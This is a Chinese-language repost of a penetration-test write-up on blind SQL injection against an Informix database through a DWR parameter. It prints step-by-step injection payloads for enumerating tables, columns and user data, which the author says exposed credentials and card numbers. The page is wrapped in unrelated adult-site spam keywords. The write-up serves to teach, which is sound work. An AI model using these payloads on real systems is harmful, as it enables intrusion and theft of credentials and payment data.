成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Informix數(shù)據(jù)庫SQL注入實(shí)戰(zhàn)

安全 數(shù)據(jù)安全
在最近的應(yīng)用程序滲透測試中,我發(fā)現(xiàn)一個(gè)有意思的sql漏洞(SQLI中)。本文,筆者來介紹他遇到的問題以及如何解決并dump數(shù)據(jù)庫。

在最近的應(yīng)用程序滲透測試中,我發(fā)現(xiàn)一個(gè)有意思的sql漏洞(SQLI中)。

SQLI出現(xiàn)這種情況的原因:

1.開發(fā)中帶來的問題

2.數(shù)據(jù)庫正在使用

下面,我來介紹我遇到的問題以及如何解決并dump數(shù)據(jù)庫。該應(yīng)用程序使用一種名為DWR后端的JAVA遠(yuǎn)程調(diào)用框架,系統(tǒng)調(diào)用是這樣的:

Informix數(shù)據(jù)庫SQL注入實(shí)戰(zhàn)

這是位于C0-param1的參數(shù),從表面上看起來很容易,因?yàn)樗o了詳細(xì)的錯(cuò)誤信息,當(dāng)一個(gè)單引號(hào)被添加到參數(shù)尾部時(shí),會(huì)得到以下錯(cuò)誤信息:“java.sql.SQLException: A syntax error has occurred.”(語法錯(cuò)誤)

Informix數(shù)據(jù)庫SQL注入實(shí)戰(zhàn)

c0-param1參數(shù)控制有多少結(jié)果從數(shù)據(jù)庫中檢索出來,這注射點(diǎn)出現(xiàn)在類似于mssql的TOP keyword位置和MYSQL的Limit。我認(rèn)為SQLI跑MSSQL庫比MYSQL更合適。我添加一系列請求如下圖所示:

Informix數(shù)據(jù)庫SQL注入實(shí)戰(zhàn)

執(zhí)行查詢后,得到一個(gè)錯(cuò)誤信息:“java.sql.SQLException: The column (card_no) must be in the GROUP BY list.”數(shù)據(jù)庫系統(tǒng)是IBM的Informix,我對Informix了解甚少,所以還得一個(gè)函數(shù)一個(gè)函數(shù)地查IBM的文檔。

現(xiàn)在知道這是Informix,能幫助我們對次注射是怎么產(chǎn)生的,第一個(gè)子句,類似TOP和LIMIT,查詢起來是這樣的:

c0-param1=string:10 (CASE WHEN SUBSTR((SELECT USER FROM SYSTABLES WHERE TABID = 1), 1, 1) = 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),

如果條件為真(即當(dāng)前用戶名的第一個(gè)字母為'a'),查詢將返回結(jié)果,反則會(huì)報(bào)錯(cuò),因?yàn)樽硬樵?SELECT 1 FROM SYSTABLES)會(huì)返回多個(gè)結(jié)果。然而,又有難題了,不能使用等號(hào),通過替換,使用以下語句:

c0-param1=string:10 (CASE WHEN SUBSTR((SELECT USER FROM SYSTABLES WHERE TABID > 0 AND TABID < 2), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),

有了這些注射知識(shí)和概念就好整多了,掏出sqlmap(從我的同事那里弄到了些小技巧,而且觀摩了他的帖子“Sqlmap的高級(jí)注入技巧”),Sqlmap的確是很好的工具,作者是今年在大會(huì)上認(rèn)識(shí)的一個(gè)很不錯(cuò)的家伙寫的。。。好像跑題了。不過遺憾的是,Sqlmap不支持Informix,所以我不得不自己寫工具了:

獲取表名的長度:

c0-param1=string:10 (CASE WHEN CHAR_LENGTH((SELECT TABNAME FROM SYSTABLES WHERE TABID > 0 AND TABID < 2)) > 1 THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),

獲取表名:

c0-param1=string:10 (CASE WHEN SUBSTR((SELECT TABNAME FROM SYSTABLES WHERE TABID > 0 AND TABID < 2), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),

獲取有表中有多少列:

c0-param1=string:10 (CASE WHEN (SELECT NCOLS FROM SYSTABLES WHERE TABID > 0 AND TABID < 2) > 1 THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),

獲取列名長度:

c0-param1=string:10 (CASE WHEN CHAR_LENGTH((SELECT COLNAME FROM SYSCOLUMNS WHERE (TABID > 0 AND TABID < 2) AND (COLNO > 0 AND COLNO < 2))) > 1 THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),

獲取列名:

c0-param1=string:10 (CASE WHEN SUBSTR((SELECT COLNAME FROM SYSCOLUMNS WHERE (TABID > 0 AND TABID < 2) AND (COLNO > 0 AND COLNO < 2)), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),

通過一個(gè)小研究,我發(fā)現(xiàn)Informix的表實(shí)際上有一個(gè)隱藏很深的列名:ROWID,每一行都存在一個(gè)這樣的序列號(hào)。然而,這些ROWID可以分散,刪除或插入到表。為了找到包含數(shù)據(jù)的ROWID,我調(diào)用一個(gè)名為NVL的函數(shù),這個(gè)函數(shù)可以返回不同的結(jié)果,具體取決于第一個(gè)參數(shù)是否為NULL。最終找到一處可能總是包含數(shù)據(jù)的一列,語句:

c0-param1=string:10 (NVL((SELECT username FROM users WHERE ROWID > 0 AND ROWID < 2), (SELECT 1 FROM SYSTABLES))),

c0-param1=string:10 (CASE WHEN SUBSTR((SELECT username FROM users WHERE ROWID > 0 AND ROWID < 1), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),

通過這種方法,能夠發(fā)現(xiàn)純文本應(yīng)用程序憑據(jù),明文銀行SFTP憑證和未加密的支付卡號(hào)碼。

隨著這一成功,明白了以前對Informix數(shù)據(jù)庫想知道的。

原文地址:http://blog.spiderlabs.com/2013/12/the-case-of-an-obscure-injection.html

責(zé)任編輯:藍(lán)雨淚 來源: FreebuF
相關(guān)推薦

2013-07-25 20:36:02

2009-01-07 09:46:18

InformixOnline數(shù)據(jù)庫

2010-04-12 08:59:00

2022-11-04 08:34:27

Oracle數(shù)據(jù)庫

2010-09-09 14:31:31

SQL函數(shù)數(shù)據(jù)庫

2017-05-18 12:45:57

Informix-On備份數(shù)據(jù)庫

2013-04-26 11:39:40

2010-09-30 09:11:01

2009-03-09 09:26:49

Informix數(shù)據(jù)庫管理OLTP

2011-03-04 10:30:25

ASP數(shù)據(jù)庫

2015-09-15 16:29:25

2009-10-09 15:20:12

2011-03-25 09:46:16

Informix數(shù)據(jù)庫安全性安全審計(jì)

2010-07-15 17:28:50

SQL Server

2010-06-30 08:46:51

升級(jí)SQL Serve

2022-12-07 18:45:22

內(nèi)存數(shù)據(jù)庫Redis

2021-05-17 06:57:34

SQLServer數(shù)據(jù)庫

2012-12-10 10:57:04

IBMdW

2018-02-10 09:44:19

2010-07-30 09:49:05

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 国产欧美日韩在线播放 | 久久99深爱久久99精品 | 久久精品一级 | 国产美女视频黄a视频免费 国产精品福利视频 | 国产高清久久久 | 日一日操一操 | 91就要激情 | 在线观看视频91 | 日韩另类 | 亚洲精品在线视频 | 久久久国产精品 | 成人黄在线观看 | 亚洲综合激情 | 亚洲国产成人精 | 国产精品日女人 | 国产一区视频在线 | 日韩在线视频免费观看 | 超级黄色一级片 | 免费毛片网 | av手机在线播放 | 亚洲电影成人 | 欧美一级电影免费 | 亚洲天堂av在线 | 国产亚洲欧美另类一区二区三区 | 成人国产精品免费观看 | 亚洲一区二区在线电影 | 美女久久视频 | 国产精品大片在线观看 | 玖玖综合网| 91在线精品一区二区 | 91av在线免费播放 | 精品一区二区免费视频 | 久久国产精品一区二区三区 | 久久99精品久久久久久 | 成人午夜免费视频 | 在线播放中文字幕 | 玖玖综合在线 | 亚洲成人免费在线 | 激情五月综合 | 日韩精品一区二区三区 | 夜夜骑天天干 |